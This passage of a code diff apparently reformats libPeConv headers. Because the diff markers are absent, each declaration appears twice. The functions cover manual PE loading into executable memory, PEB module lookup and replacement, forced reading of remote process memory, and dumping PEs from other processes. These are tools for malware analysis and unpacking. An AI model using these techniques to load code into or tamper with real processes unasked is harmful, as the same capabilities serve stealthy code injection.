Automatically allocates buffer of the needed size (the size is returned in outputSize). The buffer can be freed by the function free_pe_buffer.
*/
BYTE* load_pe_module(BYTE* payload_raw, size_t r_size, OUT size_t &v_size, bool executable, bool relocate, ULONG_PTR desired_base = 0);
namespace peconv
{
/**
Reads PE from the given buffer into memory and maps it into virtual format.
(Automatic raw to virtual conversion).
If the executable flag is true, the PE file is loaded into executable memory.
If the relocate flag is true, applies relocations. Does not load imports.
Automatically allocates buffer of the needed size (the size is returned in outputSize). The buffer can be freed by the function free_pe_buffer.
*/
BYTE* load_pe_module(BYTE* payload_raw, size_t r_size, OUT size_t &v_size, bool executable, bool relocate, ULONG_PTR desired_base = 0);
/**
Reads PE from the given file into memory and maps it into vitual format.
(Automatic raw to virtual conversion).
If the executable flag is true, the PE file is loaded into executable memory.
If the relocate flag is true, applies relocations. Does not load imports.
Automatically allocates buffer of the needed size (the size is returned in outputSize). The buffer can be freed by the function free_pe_buffer.
*/
BYTE* load_pe_module(LPCTSTR filename, OUT size_t &v_size, bool executable, bool relocate, ULONG_PTR desired_base = 0);
/**
Reads PE from the given file into memory and maps it into vitual format.
(Automatic raw to virtual conversion).
If the executable flag is true, the PE file is loaded into executable memory.
If the relocate flag is true, applies relocations. Does not load imports.
Automatically allocates buffer of the needed size (the size is returned in outputSize). The buffer can be freed by the function free_pe_buffer.
*/
BYTE* load_pe_module(LPCTSTR filename, OUT size_t &v_size, bool executable, bool relocate, ULONG_PTR desired_base = 0);
/**
Loads full PE from the raw buffer in a way in which it can be directly executed: remaps to virual format, applies relocations, loads imports.
Allows for supplying custom function resolver.
*/
BYTE* load_pe_executable(BYTE* payload_raw, size_t r_size, OUT size_t &v_size, t_function_resolver* import_resolver = nullptr, ULONG_PTR desired_base = 0);
/**
Loads full PE from the raw buffer in a way in which it can be directly executed: remaps to virual format, applies relocations, loads imports.
Allows for supplying custom function resolver.
*/
BYTE* load_pe_executable(BYTE* payload_raw, size_t r_size, OUT size_t &v_size, t_function_resolver* import_resolver = nullptr, ULONG_PTR desired_base = 0);
/**
Loads full PE from file in a way in which it can be directly executed: remaps to virtual format, applies relocations, loads imports.
Allows for supplying custom function resolver.
*/
BYTE* load_pe_executable(LPCTSTR filename, OUT size_t &v_size, t_function_resolver* import_resolver = nullptr);
/**
Loads full PE from file in a way in which it can be directly executed: remaps to virtual format, applies relocations, loads imports.
Allows for supplying custom function resolver.
*/
BYTE* load_pe_executable(LPCTSTR filename, OUT size_t &v_size, t_function_resolver* import_resolver = nullptr);
};// namespace peconv

View File

@@ -9,38 +9,39 @@
#include "pe_hdrs_helper.h"
namespace peconv {
namespace peconv
{
/**
check if the PE in the memory is in raw format
*/
bool is_pe_raw(
IN const BYTE* pe_buffer,
IN size_t pe_size
);
/**
check if the PE in the memory is in raw format
*/
bool is_pe_raw(
IN const BYTE* pe_buffer,
IN size_t pe_size
);
/**
check if Virtual section addresses are identical to Raw addresses (i.e. if the PE was realigned)
*/
bool is_pe_raw_eq_virtual(
IN const BYTE* pe_buffer,
IN size_t pe_size
);
/**
check if Virtual section addresses are identical to Raw addresses (i.e. if the PE was realigned)
*/
bool is_pe_raw_eq_virtual(
IN const BYTE* pe_buffer,
IN size_t pe_size
);
/**
checks if the PE has sections that were unpacked/expanded in the memory
*/
bool is_pe_expanded(
IN const BYTE* pe_buffer,
IN size_t pe_size
);
/**
checks if the PE has sections that were unpacked/expanded in the memory
*/
bool is_pe_expanded(
IN const BYTE* pe_buffer,
IN size_t pe_size
);
/**
checks if the given section was unpacked in the memory
*/
bool is_section_expanded(IN const BYTE* pe_buffer,
IN size_t pe_size,
IN const PIMAGE_SECTION_HEADER sec
);
/**
checks if the given section was unpacked in the memory
*/
bool is_section_expanded(IN const BYTE* pe_buffer,
IN size_t pe_size,
IN const PIMAGE_SECTION_HEADER sec
);
};// namespace peconv

View File

@@ -10,21 +10,22 @@
#include "buffer_util.h"
namespace peconv {
namespace peconv
{
/**
Converts a raw PE supplied in a buffer to a virtual format.
If the executable flag is true (default), the PE file is loaded into executable memory.
Does not apply relocations. Does not load imports.
Automatically allocates buffer of the needed size (the size is returned in outputSize). The buffer can be freed by the function free_pe_module.
If the desired_base is defined (0 by default), it enforces allocation at the particular base.
*/
BYTE* pe_raw_to_virtual(
IN const BYTE* rawPeBuffer,
IN size_t rawPeSize,
OUT size_t &outputSize,
IN OPTIONAL bool executable = true,
IN OPTIONAL ULONG_PTR desired_base = 0
);
/**
Converts a raw PE supplied in a buffer to a virtual format.
If the executable flag is true (default), the PE file is loaded into executable memory.
Does not apply relocations. Does not load imports.
Automatically allocates buffer of the needed size (the size is returned in outputSize). The buffer can be freed by the function free_pe_module.
If the desired_base is defined (0 by default), it enforces allocation at the particular base.
*/
BYTE* pe_raw_to_virtual(
IN const BYTE* rawPeBuffer,
IN size_t rawPeSize,
OUT size_t &outputSize,
IN OPTIONAL bool executable = true,
IN OPTIONAL ULONG_PTR desired_base = 0
);
}; // namespace peconv

View File

@@ -9,39 +9,40 @@
#include "buffer_util.h"
namespace peconv {
namespace peconv
{
/**
Maps virtual image of PE to into raw. Automaticaly applies relocations.
Automatically allocates buffer of the needed size (the size is returned in outputSize).
\param payload : the PE in the Virtual format that needs to be converted into the Raw format
\param in_size : size of the input buffer (the PE in the Virtual format)
\param loadBase : the base to which the given PE was relocated
\param outputSize : the size of the output buffer (the PE in the Raw format)
\param rebuffer : if set (default), the input buffer is rebuffered and the original buffer is not modified.
\return a buffer of the outputSize, containing the Raw PE. The buffer can be freed by the function free_pe_module.
*/
BYTE* pe_virtual_to_raw(
IN BYTE* payload,
IN size_t in_size,
IN ULONGLONG loadBase,
OUT size_t &outputSize,
IN OPTIONAL bool rebuffer=true
);
/**
Maps virtual image of PE to into raw. Automaticaly applies relocations.
Automatically allocates buffer of the needed size (the size is returned in outputSize).
\param payload : the PE in the Virtual format that needs to be converted into the Raw format
\param in_size : size of the input buffer (the PE in the Virtual format)
\param loadBase : the base to which the given PE was relocated
\param outputSize : the size of the output buffer (the PE in the Raw format)
\param rebuffer : if set (default), the input buffer is rebuffered and the original buffer is not modified.
\return a buffer of the outputSize, containing the Raw PE. The buffer can be freed by the function free_pe_module.
*/
BYTE* pe_virtual_to_raw(
IN BYTE* payload,
IN size_t in_size,
IN ULONGLONG loadBase,
OUT size_t &outputSize,
IN OPTIONAL bool rebuffer=true
);
/*
Modifies raw alignment of the PE to be the same as virtual alignment.
\param payload : the PE in the Virtual format that needs to be realigned
\param in_size : size of the input buffer
\param loadBase : the base to which the given PE was relocated
\param outputSize : the size of the output buffer (the PE in the Raw format)
\return a buffer of the outputSize, containing the realigned PE. The buffer can be freed by the function free_pe_module.
*/
BYTE* pe_realign_raw_to_virtual(
IN const BYTE* payload,
IN size_t in_size,
IN ULONGLONG loadBase,
OUT size_t &outputSize
);
/*
Modifies raw alignment of the PE to be the same as virtual alignment.
\param payload : the PE in the Virtual format that needs to be realigned
\param in_size : size of the input buffer
\param loadBase : the base to which the given PE was relocated
\param outputSize : the size of the output buffer (the PE in the Raw format)
\return a buffer of the outputSize, containing the realigned PE. The buffer can be freed by the function free_pe_module.
*/
BYTE* pe_realign_raw_to_virtual(
IN const BYTE* payload,
IN size_t in_size,
IN ULONGLONG loadBase,
OUT size_t &outputSize
);
};//namespace peconv

View File

@@ -7,34 +7,35 @@
#include <windows.h>
namespace peconv {
namespace peconv
{
/**
Gets handle to the given module via PEB. A low-level equivalent of `GetModuleHandleW`.
\param module_name : (optional) the name of the DLL loaded within the current process. If not set, the main module of the current process is used.
\return the handle of the DLL with given name, or, if the name was not given, the handle of the main module of the current process.
*/
HMODULE get_module_via_peb(IN OPTIONAL LPCWSTR module_name = nullptr);
/**
Gets handle to the given module via PEB. A low-level equivalent of `GetModuleHandleW`.
\param module_name : (optional) the name of the DLL loaded within the current process. If not set, the main module of the current process is used.
\return the handle of the DLL with given name, or, if the name was not given, the handle of the main module of the current process.
*/
HMODULE get_module_via_peb(IN OPTIONAL LPCWSTR module_name = nullptr);
/**
Gets size of the given module via PEB.
\param hModule : (optional) the base of the module which's size we want to retrieve. If not set, the main module of the current process is used.
\return the size of the given module.
*/
size_t get_module_size_via_peb(IN OPTIONAL HMODULE hModule = nullptr);
/**
Gets size of the given module via PEB.
\param hModule : (optional) the base of the module which's size we want to retrieve. If not set, the main module of the current process is used.
\return the size of the given module.
*/
size_t get_module_size_via_peb(IN OPTIONAL HMODULE hModule = nullptr);
/**
Sets the given module as the main module in the current PEB.
\param hModule : the module to be connected to the current PEB.
\return true if succeeded, false if failed
*/
bool set_main_module_in_peb(HMODULE hModule);
/**
Sets the given module as the main module in the current PEB.
\param hModule : the module to be connected to the current PEB.
\return true if succeeded, false if failed
*/
bool set_main_module_in_peb(HMODULE hModule);
/**
Gets the main module from the current PEB.
\return the main module connected to the current PEB.
*/
HMODULE get_main_module_via_peb();
/**
Gets the main module from the current PEB.
\return the main module connected to the current PEB.
*/
HMODULE get_main_module_via_peb();
};

View File

@@ -7,45 +7,46 @@
#include <windows.h>
namespace peconv {
namespace peconv
{
typedef struct _BASE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
} BASE_RELOCATION_ENTRY;
typedef struct _BASE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
} BASE_RELOCATION_ENTRY;
class RelocBlockCallback
class RelocBlockCallback
{
public:
RelocBlockCallback(bool _is64bit)
: is64bit(_is64bit)
{
public:
RelocBlockCallback(bool _is64bit)
: is64bit(_is64bit)
{
}
}
virtual bool processRelocField(ULONG_PTR relocField) = 0;
virtual bool processRelocField(ULONG_PTR relocField) = 0;
protected:
bool is64bit;
};
protected:
bool is64bit;
};
// Processs the relocation table and make your own callback on each relocation field
bool process_relocation_table(IN PVOID modulePtr, IN SIZE_T moduleSize, IN RelocBlockCallback *callback);
// Processs the relocation table and make your own callback on each relocation field
bool process_relocation_table(IN PVOID modulePtr, IN SIZE_T moduleSize, IN RelocBlockCallback *callback);
/**
Applies relocations on the PE in virtual format. Relocates it from the old base given to the new base given.
If 0 was supplied as the old base, it assumes that the old base is the ImageBase given in the header.
\param modulePtr : a buffer containing the PE to be relocated
\param moduleSize : the size of the given PE buffer
\param newBase : a base to which the PE should be relocated
\param oldBase : a base to which the PE is currently relocated (if not set, the imageBase from the header will be used)
*/
bool relocate_module(IN BYTE* modulePtr, IN SIZE_T moduleSize, IN ULONGLONG newBase, IN ULONGLONG oldBase = 0);
/**
Applies relocations on the PE in virtual format. Relocates it from the old base given to the new base given.
If 0 was supplied as the old base, it assumes that the old base is the ImageBase given in the header.
\param modulePtr : a buffer containing the PE to be relocated
\param moduleSize : the size of the given PE buffer
\param newBase : a base to which the PE should be relocated
\param oldBase : a base to which the PE is currently relocated (if not set, the imageBase from the header will be used)
*/
bool relocate_module(IN BYTE* modulePtr, IN SIZE_T moduleSize, IN ULONGLONG newBase, IN ULONGLONG oldBase = 0);
/**
Checks if the given PE has a valid relocations table.
\param modulePtr : a buffer containing the PE to be checked
\param moduleSize : the size of the given PE buffer
*/
bool has_valid_relocation_table(IN const PBYTE modulePtr, IN const size_t moduleSize);
/**
Checks if the given PE has a valid relocations table.
\param modulePtr : a buffer containing the PE to be checked
\param moduleSize : the size of the given PE buffer
*/
bool has_valid_relocation_table(IN const PBYTE modulePtr, IN const size_t moduleSize);
};//namespace peconv

View File

@@ -12,123 +12,124 @@
#include "exports_mapper.h"
#include "pe_dumper.h"
namespace peconv {
namespace peconv
{
bool fetch_region_info(HANDLE processHandle, LPVOID start_addr, MEMORY_BASIC_INFORMATION &page_info);
bool fetch_region_info(HANDLE processHandle, LPVOID start_addr, MEMORY_BASIC_INFORMATION &page_info);
/**
Fetch size of the memory region starting from the given address.
*/
size_t fetch_region_size(HANDLE processHandle, LPVOID start_addr);
/**
Fetch size of the memory region starting from the given address.
*/
size_t fetch_region_size(HANDLE processHandle, LPVOID start_addr);
/**
Fetch the allocation base of the memory region with the supplied start address.
\param processHandle : handle of the process where the region of interest belongs
\param start_addr : the address inside the region of interest
\return the allocation base address of the memory region, or 0 if not found
*/
ULONGLONG fetch_alloc_base(HANDLE processHandle, LPVOID start_addr);
/**
Fetch the allocation base of the memory region with the supplied start address.
\param processHandle : handle of the process where the region of interest belongs
\param start_addr : the address inside the region of interest
\return the allocation base address of the memory region, or 0 if not found
*/
ULONGLONG fetch_alloc_base(HANDLE processHandle, LPVOID start_addr);
/**
Wrapper over ReadProcessMemory. Requires a handle with privilege PROCESS_VM_READ.
If reading of the full buffer_size was not possible, it will keep trying to read a smaller chunk, decreasing requested size on each attempt,
till the minimal_size is reached (it is a workaround for errors such as FAULTY_HARDWARE_CORRUPTED_PAGE).
Returns how many bytes were successfuly read.
\param processHandle : handle of the process where the memory of interest belongs
\param start_addr : the address within the remote process to start reading from
\param buffer : the buffer where the read data will be stored
\param buffer_size : the size of the buffer, and the size that will be attempted to read
\param minimal_size : the minimal size that has to be read in order to consider the read successful
\return the number of bytes successfuly read
*/
size_t read_remote_memory(HANDLE processHandle, LPVOID start_addr, OUT BYTE* buffer, const size_t buffer_size, const SIZE_T minimal_size = 0x100);
/**
Wrapper over ReadProcessMemory. Requires a handle with privilege PROCESS_VM_READ.
If reading of the full buffer_size was not possible, it will keep trying to read a smaller chunk, decreasing requested size on each attempt,
till the minimal_size is reached (it is a workaround for errors such as FAULTY_HARDWARE_CORRUPTED_PAGE).
Returns how many bytes were successfuly read.
\param processHandle : handle of the process where the memory of interest belongs
\param start_addr : the address within the remote process to start reading from
\param buffer : the buffer where the read data will be stored
\param buffer_size : the size of the buffer, and the size that will be attempted to read
\param minimal_size : the minimal size that has to be read in order to consider the read successful
\return the number of bytes successfuly read
*/
size_t read_remote_memory(HANDLE processHandle, LPVOID start_addr, OUT BYTE* buffer, const size_t buffer_size, const SIZE_T minimal_size = 0x100);
/**
Reads a single memory region (continuous, with the same access rights) within a given process, starting at the start_addr.
In case if it is inaccessible, if the flag force_access was set, it tries to force the access by temporarly changing the permissions.
Requires a handle with privilege PROCESS_QUERY_INFORMATION. In order for force_access to work, PROCESS_VM_OPERATION is additionally required.
step_size is passed to the underlying read_remote_memory.
\param processHandle : handle of the process where the memory of interest belongs
\param start_addr : the address within the remote process to start reading from
\param buffer : the buffer where the read data will be stored
\param buffer_size : the size of the buffer
\param force_access : if this flag is set, in case if the region is inaccassible (PAGE_NOACCESS) it will try to force the the read by changing the permissions, and applying the old ones back after reading.
WARNING: force_access should be used only on a suspended process, or a process relection, otherwise it may cause instability.
\param minimal_size : the minimal size that has to be read in order to consider the read successful (passed to read_remote_memory)
\return the number of bytes successfuly read
*/
size_t read_remote_region(HANDLE processHandle, LPVOID start_addr, OUT BYTE* buffer, const size_t buffer_size, const bool force_access, const SIZE_T minimal_size = 0x100);
/**
Reads a single memory region (continuous, with the same access rights) within a given process, starting at the start_addr.
In case if it is inaccessible, if the flag force_access was set, it tries to force the access by temporarly changing the permissions.
Requires a handle with privilege PROCESS_QUERY_INFORMATION. In order for force_access to work, PROCESS_VM_OPERATION is additionally required.
step_size is passed to the underlying read_remote_memory.
\param processHandle : handle of the process where the memory of interest belongs
\param start_addr : the address within the remote process to start reading from
\param buffer : the buffer where the read data will be stored
\param buffer_size : the size of the buffer
\param force_access : if this flag is set, in case if the region is inaccassible (PAGE_NOACCESS) it will try to force the the read by changing the permissions, and applying the old ones back after reading.
WARNING: force_access should be used only on a suspended process, or a process relection, otherwise it may cause instability.
\param minimal_size : the minimal size that has to be read in order to consider the read successful (passed to read_remote_memory)
\return the number of bytes successfuly read
*/
size_t read_remote_region(HANDLE processHandle, LPVOID start_addr, OUT BYTE* buffer, const size_t buffer_size, const bool force_access, const SIZE_T minimal_size = 0x100);
/**
Reads a full memory area within a given process, starting at the start_addr, till the buffer_size is exceeded.
The memory area can consist of multiple regions with various access rights.
In case if the region is inaccessible, if the flag force_access was set, it tries to force the access by temporarly changing the permissions.
On read failure the region is skipped, and the read is moving to the next one, leaving in the output buffer an empty space of the region size.
Requires a handle with privilege PROCESS_QUERY_INFORMATION. In order for force_access to work, PROCESS_VM_OPERATION is additionally required.
step_size is passed to the underlying read_remote_memory.
\param processHandle : handle of the process where the memory of interest belongs
\param start_addr : the address within the remote process to start reading from
\param buffer : the buffer where the read data will be stored
\param buffer_size : the size of the buffer
\param force_access : if this flag is set, in case if the region is inaccassible (PAGE_NOACCESS) it will try to force the the read by changing the permissions, and applying the old ones back after reading.
WARNING: force_access should be used only on a suspended process, or a process relection, otherwise it may cause instability.
\param minimal_size : the minimal size that has to be read in order to consider the read successful (passed to read_remote_memory)
\return the number of bytes successfuly read
*/
size_t read_remote_area(HANDLE processHandle, LPVOID start_addr, OUT BYTE* buffer, const size_t buffer_size, const bool force_access, const SIZE_T minimal_size = 0x100);
/**
Reads a full memory area within a given process, starting at the start_addr, till the buffer_size is exceeded.
The memory area can consist of multiple regions with various access rights.
In case if the region is inaccessible, if the flag force_access was set, it tries to force the access by temporarly changing the permissions.
On read failure the region is skipped, and the read is moving to the next one, leaving in the output buffer an empty space of the region size.
Requires a handle with privilege PROCESS_QUERY_INFORMATION. In order for force_access to work, PROCESS_VM_OPERATION is additionally required.
step_size is passed to the underlying read_remote_memory.
\param processHandle : handle of the process where the memory of interest belongs
\param start_addr : the address within the remote process to start reading from
\param buffer : the buffer where the read data will be stored
\param buffer_size : the size of the buffer
\param force_access : if this flag is set, in case if the region is inaccassible (PAGE_NOACCESS) it will try to force the the read by changing the permissions, and applying the old ones back after reading.
WARNING: force_access should be used only on a suspended process, or a process relection, otherwise it may cause instability.
\param minimal_size : the minimal size that has to be read in order to consider the read successful (passed to read_remote_memory)
\return the number of bytes successfuly read
*/
size_t read_remote_area(HANDLE processHandle, LPVOID start_addr, OUT BYTE* buffer, const size_t buffer_size, const bool force_access, const SIZE_T minimal_size = 0x100);
/**
Reads a PE header of the remote module within the given process. Requires a valid output buffer to be supplied (buffer).
\param processHandle : handle of the process where the memory of interest belongs
\param moduleBase : the base address of the module within the remote process
\param buffer : the buffer where the read data will be stored
\param buffer_size : the size of the buffer
\param force_access : if this flag is set, in case if the region is inaccassible (PAGE_NOACCESS) it will try to force the the read by changing the permissions, and applying the old ones back after reading.
WARNING: force_access should be used only on a suspended process, or a process relection, otherwise it may cause instability.
*/
bool read_remote_pe_header(HANDLE processHandle, LPVOID moduleBase, OUT BYTE* buffer, const size_t bufferSize, bool force_access = false);
/**
Reads a PE header of the remote module within the given process. Requires a valid output buffer to be supplied (buffer).
\param processHandle : handle of the process where the memory of interest belongs
\param moduleBase : the base address of the module within the remote process
\param buffer : the buffer where the read data will be stored
\param buffer_size : the size of the buffer
\param force_access : if this flag is set, in case if the region is inaccassible (PAGE_NOACCESS) it will try to force the the read by changing the permissions, and applying the old ones back after reading.
WARNING: force_access should be used only on a suspended process, or a process relection, otherwise it may cause instability.
*/
bool read_remote_pe_header(HANDLE processHandle, LPVOID moduleBase, OUT BYTE* buffer, const size_t bufferSize, bool force_access = false);
/**
Reads a PE section with a given number (sectionNum) from the remote module within the given process.
The buffer of appropriate size is automatically allocated. After use, it should be freed by the function free_unaligned.
The size of the buffer is writen into sectionSize.
\param processHandle : the handle to the remote process
\param moduleBase : the base address of the module
\param sectionNum : number of the section to be read
\param sectionSize : the size of the read section (output)
\param roundup : if set, the section size is roundup to the alignment unit
\param force_access : if this flag is set, in case if the region is inaccassible (PAGE_NOACCESS) it will try to force the the read by changing the permissions, and applying the old ones back after reading.
WARNING: force_access should be used only on a suspended process, or a process relection, otherwise it may cause instability.
\return a buffer containing a copy of the section.
*/
peconv::UNALIGNED_BUF get_remote_pe_section(HANDLE processHandle, LPVOID moduleBase, const size_t sectionNum, OUT size_t &sectionSize, bool roundup, bool force_access = false);
/**
Reads a PE section with a given number (sectionNum) from the remote module within the given process.
The buffer of appropriate size is automatically allocated. After use, it should be freed by the function free_unaligned.
The size of the buffer is writen into sectionSize.
\param processHandle : the handle to the remote process
\param moduleBase : the base address of the module
\param sectionNum : number of the section to be read
\param sectionSize : the size of the read section (output)
\param roundup : if set, the section size is roundup to the alignment unit
\param force_access : if this flag is set, in case if the region is inaccassible (PAGE_NOACCESS) it will try to force the the read by changing the permissions, and applying the old ones back after reading.
WARNING: force_access should be used only on a suspended process, or a process relection, otherwise it may cause instability.
\return a buffer containing a copy of the section.
*/
peconv::UNALIGNED_BUF get_remote_pe_section(HANDLE processHandle, LPVOID moduleBase, const size_t sectionNum, OUT size_t &sectionSize, bool roundup, bool force_access = false);
/**
Reads PE file from the remote process into the supplied buffer. It expects the module base and size to be given.
*/
size_t read_remote_pe(const HANDLE processHandle, LPVOID moduleBase, const size_t moduleSize, OUT BYTE* buffer, const size_t bufferSize);
/**
Reads PE file from the remote process into the supplied buffer. It expects the module base and size to be given.
*/
size_t read_remote_pe(const HANDLE processHandle, LPVOID moduleBase, const size_t moduleSize, OUT BYTE* buffer, const size_t bufferSize);
/**
Dumps PE from the remote process into a file. It expects the module base and size to be given.
\param outputFilePath : the path where the dump will be saved
\param processHandle : the handle to the remote process
\param moduleBase : the base address of the module that needs to be dumped
\param dump_mode : specifies in which format the PE should be dumped. If the mode was set to PE_DUMP_AUTO, it autodetects mode and returns the detected one.
\param exportsMap : optional. If exportsMap is supplied, it will try to recover destroyed import table of the PE, basing on the supplied map of exported functions.
*/
bool dump_remote_pe(
IN LPCTSTR outputFilePath,
IN const HANDLE processHandle,
IN LPVOID moduleBase,
IN OUT t_pe_dump_mode &dump_mode,
IN OPTIONAL peconv::ExportsMapper* exportsMap = nullptr
);
/**
Dumps PE from the remote process into a file. It expects the module base and size to be given.
\param outputFilePath : the path where the dump will be saved
\param processHandle : the handle to the remote process
\param moduleBase : the base address of the module that needs to be dumped
\param dump_mode : specifies in which format the PE should be dumped. If the mode was set to PE_DUMP_AUTO, it autodetects mode and returns the detected one.
\param exportsMap : optional. If exportsMap is supplied, it will try to recover destroyed import table of the PE, basing on the supplied map of exported functions.
*/
bool dump_remote_pe(
IN LPCTSTR outputFilePath,
IN const HANDLE processHandle,
IN LPVOID moduleBase,
IN OUT t_pe_dump_mode &dump_mode,
IN OPTIONAL peconv::ExportsMapper* exportsMap = nullptr
);
/**
Retrieve the Image Size saved in the header of the remote PE.
\param processHandle : process from where we are reading
\param start_addr : a base address of the PE within the given process
*/
DWORD get_remote_image_size(IN const HANDLE processHandle, IN LPVOID start_addr);
/**
Retrieve the Image Size saved in the header of the remote PE.
\param processHandle : process from where we are reading
\param start_addr : a base address of the PE within the given process
*/
DWORD get_remote_image_size(IN const HANDLE processHandle, IN LPVOID start_addr);
}; //namespace peconv

View File

@@ -6,20 +6,21 @@
#pragma once
#include <windows.h>
namespace peconv {
/**
A callback that will be executed by the function parse_resources when the Resource Entry was found.
*/
typedef bool(*t_on_res_entry_found) (
BYTE* modulePtr,
IMAGE_RESOURCE_DIRECTORY_ENTRY *root_dir,
IMAGE_RESOURCE_DATA_ENTRY *curr_entry
);
namespace peconv
{
/**
A callback that will be executed by the function parse_resources when the Resource Entry was found.
*/
typedef bool(*t_on_res_entry_found) (
BYTE* modulePtr,
IMAGE_RESOURCE_DIRECTORY_ENTRY *root_dir,
IMAGE_RESOURCE_DATA_ENTRY *curr_entry
);
/**
A function walking through the Resource Tree of the given PE. On each Resource Entry found, the callback is executed.
\param modulePtr : pointer to the buffer with the PE in a Virtual format
\param on_entry : a callback function executed on each Resource Entry
*/
bool parse_resources(BYTE* modulePtr, t_on_res_entry_found on_entry);
/**
A function walking through the Resource Tree of the given PE. On each Resource Entry found, the callback is executed.
\param modulePtr : pointer to the buffer with the PE in a Virtual format
\param on_entry : a callback function executed on each Resource Entry
*/
bool parse_resources(BYTE* modulePtr, t_on_res_entry_found on_entry);
};

View File

@@ -8,27 +8,28 @@
#include <windows.h>
#include "buffer_util.h"
namespace peconv {
namespace peconv
{
const LPSTR RT_RCDATA_A = MAKEINTRESOURCEA(10);
const LPSTR RT_RCDATA_A = MAKEINTRESOURCEA(10);
/**
Maps a resource with the given id + type and copies its raw content into the output buffer.
If out_size is not zero, it reads maximum out_size of bytes. If out_size is zero, it reads the full resource.
The actual read size is returned back in out_size.
Automatically allocates a buffer of the required size.
If hInstance is NULL, it search the resource in the current module. Otherwise, it search in the given module.
*/
peconv::ALIGNED_BUF load_resource_data(OUT size_t &out_size, const int res_id, const LPSTR res_type = RT_RCDATA_A, HMODULE hInstance = nullptr);
/**
Maps a resource with the given id + type and copies its raw content into the output buffer.
If out_size is not zero, it reads maximum out_size of bytes. If out_size is zero, it reads the full resource.
The actual read size is returned back in out_size.
Automatically allocates a buffer of the required size.
If hInstance is NULL, it search the resource in the current module. Otherwise, it search in the given module.
*/
peconv::ALIGNED_BUF load_resource_data(OUT size_t &out_size, const int res_id, const LPSTR res_type = RT_RCDATA_A, HMODULE hInstance = nullptr);
/**
Free the buffer with PE Resources, mapped by the function load_resource_data.
*/
void free_resource_data(peconv::ALIGNED_BUF buffer);
/**
Free the buffer with PE Resources, mapped by the function load_resource_data.
*/
void free_resource_data(peconv::ALIGNED_BUF buffer);
/**
a helper function to get the module handle of the current DLL
*/
HMODULE get_current_module_handle();
/**
a helper function to get the module handle of the current DLL
*/
HMODULE get_current_module_handle();
}; //namespace peconv

View File

@@ -8,34 +8,35 @@
#include <windows.h>
#include<vector>
namespace peconv {
namespace peconv
{
/**
A helper function, normalizing virtual addresses. It automatically detects if the given virtual address is VA or RVA, and converts it into RVA
\param imgBase : the base address to which the module was relocated
\param imgSize : the size of the image
\param virtualAddr : the virtual address (RVA or VA) that we want to convert (within the module described by imgBase and imgSize)
\param outRVA : the output of the conversion (RVA)
\return true if the conversion was successful, false otherwise
*/
bool virtual_addr_to_rva(IN const ULONGLONG imgBase, IN const DWORD imgSize, IN ULONGLONG virtualAddr, OUT DWORD &outRVA);
/**
A helper function, normalizing virtual addresses. It automatically detects if the given virtual address is VA or RVA, and converts it into RVA
\param imgBase : the base address to which the module was relocated
\param imgSize : the size of the image
\param virtualAddr : the virtual address (RVA or VA) that we want to convert (within the module described by imgBase and imgSize)
\param outRVA : the output of the conversion (RVA)
\return true if the conversion was successful, false otherwise
*/
bool virtual_addr_to_rva(IN const ULONGLONG imgBase, IN const DWORD imgSize, IN ULONGLONG virtualAddr, OUT DWORD &outRVA);
/**
A function listing RVAs of all TLS callbacks that are present in the given module.
\param modulePtr : pointer to the buffer with the PE in a Virtual format, relocated to the load base
\param moduleSize : size of the given module (if 0 given, the imageSize from the PE headers will be used)
\param tls_callbacks : a vector of TLS callbacks addresses (as given in the TLS table)
\return number of TLS callbacks added to the list
*/
size_t list_tls_callbacks(IN PVOID modulePtr, IN size_t moduleSize, OUT std::vector<ULONGLONG> &tls_callbacks);
/**
A function listing RVAs of all TLS callbacks that are present in the given module.
\param modulePtr : pointer to the buffer with the PE in a Virtual format, relocated to the load base
\param moduleSize : size of the given module (if 0 given, the imageSize from the PE headers will be used)
\param tls_callbacks : a vector of TLS callbacks addresses (as given in the TLS table)
\return number of TLS callbacks added to the list
*/
size_t list_tls_callbacks(IN PVOID modulePtr, IN size_t moduleSize, OUT std::vector<ULONGLONG> &tls_callbacks);
/**
A function running all the TLS callbacks that are present in the given module, one by one.
\param modulePtr : pointer to the buffer with the PE in a Virtual format, relocated to the load base
\param moduleSize : size of the given module (if 0 given, the imageSize from the PE headers will be used)
\param dwReason : a parameter (dwReason) that will be passed to the callback function
\return number of TLS callbacks executed
*/
size_t run_tls_callbacks(IN PVOID modulePtr, IN size_t moduleSize=0, IN DWORD dwReason = DLL_PROCESS_ATTACH);
/**
A function running all the TLS callbacks that are present in the given module, one by one.
\param modulePtr : pointer to the buffer with the PE in a Virtual format, relocated to the load base
\param moduleSize : size of the given module (if 0 given, the imageSize from the PE headers will be used)
\param dwReason : a parameter (dwReason) that will be passed to the callback function
\return number of TLS callbacks executed
*/
size_t run_tls_callbacks(IN PVOID modulePtr, IN size_t moduleSize=0, IN DWORD dwReason = DLL_PROCESS_ATTACH);
}; //namespace peconv

View File

@@ -19,33 +19,34 @@
#endif
namespace peconv {
/**
Checks if the given buffer is fully filled with the specified character.
\param cave_ptr : pointer to the buffer to be checked
\param cave_size : size of the buffer to be checked
\param padding_char : the required character
*/
bool is_padding(const BYTE* cave_ptr, size_t cave_size, const BYTE padding_char);
namespace peconv
{
/**
Checks if the given buffer is fully filled with the specified character.
\param cave_ptr : pointer to the buffer to be checked
\param cave_size : size of the buffer to be checked
\param padding_char : the required character
*/
bool is_padding(const BYTE* cave_ptr, size_t cave_size, const BYTE padding_char);
/**
Wrapper for GetProcessId - for a backward compatibility with old versions of Windows
*/
DWORD get_process_id(HANDLE hProcess);
/**
Wrapper for GetProcessId - for a backward compatibility with old versions of Windows
*/
DWORD get_process_id(HANDLE hProcess);
/**
Verifies if the calling process has a defined access to the specified continuous range of memory, defined by areaStart and areaSize.
If the area includes pages that are not commited, or pages with access rights PAGE_GUARD | PAGE_NOACCESS, it is treated as inaccessible.
\param areaStart : A pointer to the first byte of the memory block
\param areaSize : The size of the memory block, in bytes. If this parameter is zero, the return value is false.
\param accessRights : The access rights to be checked
*/
bool is_mem_accessible(LPCVOID areaStart, SIZE_T areaSize, DWORD accessRights);
/**
Verifies if the calling process has a defined access to the specified continuous range of memory, defined by areaStart and areaSize.
If the area includes pages that are not commited, or pages with access rights PAGE_GUARD | PAGE_NOACCESS, it is treated as inaccessible.
\param areaStart : A pointer to the first byte of the memory block
\param areaSize : The size of the memory block, in bytes. If this parameter is zero, the return value is false.
\param accessRights : The access rights to be checked
*/
bool is_mem_accessible(LPCVOID areaStart, SIZE_T areaSize, DWORD accessRights);
/**
Verifies that the calling process has read access to the specified range of memory.
\param areaStart : A pointer to the first byte of the memory block
